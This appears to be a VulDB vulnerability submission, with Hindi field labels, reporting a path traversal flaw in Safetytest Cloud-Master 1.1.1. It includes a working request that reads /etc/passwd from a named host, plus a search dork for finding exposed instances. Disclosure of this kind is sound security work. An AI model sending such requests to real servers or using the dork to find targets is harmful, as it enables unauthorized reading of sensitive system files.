| शीर्षक | Safetytest Cloud-Master 1.1.1 Path Traversal: 'dir/../../filename' |
|---|
| विवरण | Cloud-Master v1.1.1 technology hosted at https://example.com/ (for example) has been identified as vulnerable to Path Traversal attacks. This vulnerability allows an attacker to access sensitive files and directories on the server, outside the root directory of the web application. Through crafted requests, an attacker can exploit this flaw to access critical files, such as /etc/passwd, which contains information about the system users.
Vulnerable Endpoint:
GET /static/
Exploitative Request:
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: vmd115546.contaboserver.net
Connection: Keep-alive
The above request successfully returned the contents of the /etc/passwd file, confirming the vulnerability.
Vendor:
https://safetytest.atlassian.net/wiki/spaces/RMA/overview
Dork:
title="Cloud Master" |
|---|
| उपयोगकर्ता | Eduardo Maragno (UID 80876) |
|---|
| सबमिशन | 28/01/2025 02:43 PM (2 साल पहले) |
|---|
| संयम | 06/02/2025 03:41 PM (9 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 294862 [Safetytest Cloud-Master Server तक 1.1.1 /static/ सूचना का प्रकटीकरण] |
|---|
| अंक | 17 |
|---|